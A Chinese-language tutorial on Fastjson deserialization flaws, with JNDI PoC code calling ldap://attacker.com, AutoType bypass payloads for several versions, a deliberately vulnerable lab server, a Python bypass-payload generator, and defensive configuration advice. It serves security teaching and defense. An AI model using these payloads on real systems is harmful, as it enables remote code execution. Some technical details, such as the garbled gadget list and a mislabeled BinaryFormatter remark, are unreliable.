一、Fastjson 是什么
Fastjson 是阿里巴巴开源的 Java JSON 库,以高性能著称。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
String json = "{\"name\":\"admin\",\"age\":25}";
User u = JSON.parseObject(json, User.class);
JSONObject obj = JSON.parseObject(json); // 不指定类型 → 返回 JSONObject
二、@type 与 AutoType
JSON 协议本身不携带多态类型信息,Fastjson 用 @type 扩展字段解决这个问题:
{"@type":"com.example.Admin","name":"admin","role":"root"}
解析时 Fastjson 根据 @type 加载对应的 Java 类。这就是攻击面的根源——攻击者可以指定任意目标 classpath 里存在的类。
AutoType 开启方式
| 方式 | 代码 | 默认值 |
|---|---|---|
| 全局开启 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true) |
关(1.2.68+) |
| Feature 开启 | JSON.parseObject(json, Feature.SupportAutoType) |
关 |
| 局部 @JsonTypeInfo | 字段级别注解 | 手动 |
关键时间节点:1.2.25 之前 AutoType 默认开启,这意味着任何 parseObject 调用都接受 @type。
三、最初的 JNDI 利用(CVE-2017-18349)
3.1 原理
com.sun.rowset.JdbcRowSetImpl 类有 dataSourceName 属性。反序列化时 setDataSourceName 会触发 connect() → InitialContext.lookup(ldap://...)。
3.2 PoC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonCVE2017 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://attacker.com:1389/exp\",\n" +
" \"autoCommit\": false\n" +
"}";
JSON.parseObject(payload);
// setAutoCommit(false) 触发内部连接逻辑 → JNDI lookup → RCE
}
}
3.3 JDK 限制
JDK 8u191+、11.0.1+ 后,LDAP/RMI 远程加载默认禁用(-Dcom.sun.jndi.rmi.object.trustURLCodebase=false)。绕过需要换链到 TemplatesImpl 或 BCEL。
四、版本演进与绕过
4.1 1.2.25 → 黑名单机制
引入黑名单屏蔽 com.sun.*、org.apache.*、org.spring.*、org.springframework.*、javassist.*。
绕过思路:用不在黑名单里的类,比如 java.net.Inet4Address / java.net.Inet6Address 触发 DNS,或 com.alibaba.fastjson 自身的类。
4.2 1.2.68 NPE 绕过(最著名的绕过)
String payload = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.util.HashMap\",\n" +
" \"@type\": \"java.util.HashMap\",\n" +
" \"key\": {\n" +
" \"@type\": \"X\",\n" +
" \"@type\": \"java.net.Inet4Address\",\n" +
" \"val\": \"127.0.0.1\"\n" +
" }\n" +
" }\n" +
"}";
JSON.parseObject(payload);
原理:中间的 "@type":"X" 指向不存在的类,抛出 ClassNotFoundException。但这个异常在内部被吞掉后流程混乱,导致后面真正的 @type 跳过了黑名单检查。
4.3 1.2.80 多类名类型绕过
// 用数组包裹类名绕过黑名单匹配
String payload = "{\"@type\":[[\"java.lang.AutoCloseable\",\"java.net.Inet4Address\"]]}";
4.4 1.2.81 泛型信息绕过
JSON.parseObject(json, new TypeReference<Map<Inet4Address, String>>(){});
// 通过 TypeReference 指定泛型参数,绕过 AutoType 检查
4.5 1.2.83 safeMode 引入
ParserConfig config = new ParserConfig();
config.setSafeMode(true); // 只有显式传入 Class 的情况下才允许
JSON.parseObject(json, User.class, config);
safeMode 下必须显式传入目标类型参数,完全禁用隐式类型推断。
五、Fastjson 2.x
Fastjson 2.x 重新设计,默认完全关闭 AutoType:
// Fastjson2 默认行为
JSON.parseObject(json, User.class); // 必须指定类型
// 要开启 @type:
JSONFactory.createObjectReader(JSON.Feature.SupportAutoType);
六、靶场搭建
FROM openjdk:8-jdk-slim
RUN apt-get update && apt-get install -y wget maven
WORKDIR /app
COPY pom.xml .
COPY src ./src
RUN mvn package -DskipTests
CMD ["java","-jar","target/fastjson-vuln.jar"]
<!-- pom.xml 指定 Fastjson 漏洞版本 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
// 靶场服务端
public class VulnFastjson {
public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String line;
while ((line = br.readLine()) != null) {
try {
Object obj = JSON.parseObject(line, Object.class);
System.out.println("Parsed: " + obj.getClass().getName());
} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
}
}
}
}
七、防御方案
7.1 升级到 1.2.83+ 或 2.x
7.2 严格 ParserConfig
ParserConfig config = new ParserConfig();
config.setSafeMode(true);
config.setAutoTypeSupport(false);
// 不用全局 ParserConfig
JSON.parseObject(json, MySafeClass.class, config);
7.3 不要反序列化不可信数据
永远不要用 parseObject(json, Object.class) 或 parse(json)。
八、总结
Fastjson 漏洞本质是黑名单绕过的军备竞赛。从最初 AutoType 默认开启(直接 JNDI RCE),到引入黑名单(绕过找非黑名单类),再到 NPE 绕过(利用异常处理缺陷跳过检查)。防御上 升级 + 严格白名单 + safeMode 是唯一可靠方案。这个案例教育了整个安全社区:黑名单从来都不是真正的安全机制。
九、Fastjson2 详细分析
Fastjson 2.x(代码仓库 Alibaba/fastjson2)是完全重写的版本,架构上有本质区别:
// 2.x API
import com.alibaba.fastjson2.*;
// 安全默认:必须显式传入 Class
JSONObject obj = JSON.parseObject(json);
User u = JSON.parseObject(json, User.class);
// 开启多态(更严格)
JSONFactory factory = JSONFactory.instance();
factory.register("com.example.Admin", Admin.class);
Fastjson 2.x 多态反序列化走的是显式注册白名单,而不是 1.x 那种 classpath 自动扫描。
十、JNDI RMI vs LDAP 绕过
RMI URL
// rmi://attacker:1099/exp
// JDK 8u191+ 同样禁用 trustURLCodebase
LDAP URL + Reference
// ldap://attacker.com:1389/exp
// 如果 exp 返回的是 Reference 对象 + remoteFactoryLocation
// JDK 11+ trustURLCodebase=false,LDAP 远程加载也被禁用
BCEL / Netty / JDK native gadget
绕过 JDK 限制需要换 gadget 链,常见的有:
bcel-util/bcelnetty-all(旧版本)HikariCPCommonsCollections6(TemplatesImpl 版本)SnakeYAML
十一、自动化绕过脚本(Python)
import subprocess, sys, base64
def gen_payload(gadget_class, auto_type="NPE"):
"""生成绕过特定版本的 Fastjson payload"""
if auto_type == "NPE":
payload = f"""{{
"a": {{
"@type": "java.util.HashMap",
"@type": "java.util.HashMap",
"key": {{
"@type": "X",
"@type": "{gadget_class}"
}}
}}
}}"""
elif auto_type == "CLASS_ARRAY":
payload = f'{{"@type":[["java.lang.AutoCloseable","{gadget_class}"]]}}'
return payload
def test_bypass(target, version):
bypasses = ["NPE", "CLASS_ARRAY", "SAFE_MODE"]
for b in bypasses:
# 尝试不同绕过方式
p = gen_payload("com.sun.rowset.JdbcRowSetImpl", b)
print(f"[{b}] {p[:80]}...")
十二、Fastjson vs Jackson vs Gson
| 对比项 | Fastjson | Jackson | Gson |
|---|---|---|---|
| 默认 AutoType | 关(1.2.68+) | 关 | 关 |
| 多态类型开启 | setAutoTypeSupport(true) | enableDefaultTyping() | 无直接 API |
| 历史漏洞数 | 多 | 中 | 少 |
| 性能 | 快 | 快 | 中 |
| 社区活跃度 | 中(2.x 重写中) | 高 | 中 |
Gson 基本没有多态反序列化 API,所以反序列化漏洞极少。如果不特别需要多态功能,Gson / System.Text.Json 是最安全的选择。
十三、反序列化漏洞的共性
不管是 Fastjson 的 @type、Jackson 的 enableDefaultTyping、还是 Shiro 的 rememberMe——本质都是同一个设计问题:让序列化格式携带了实现语言的类型信息,导致反序列化时可以触发任意类型加载。这和 Java BinaryFormatter / .NET BF 的漏洞根源是相同的。
防御上的统一解决方案是:永远只反序列化你期望的类型,不要让输入决定要加载哪个类。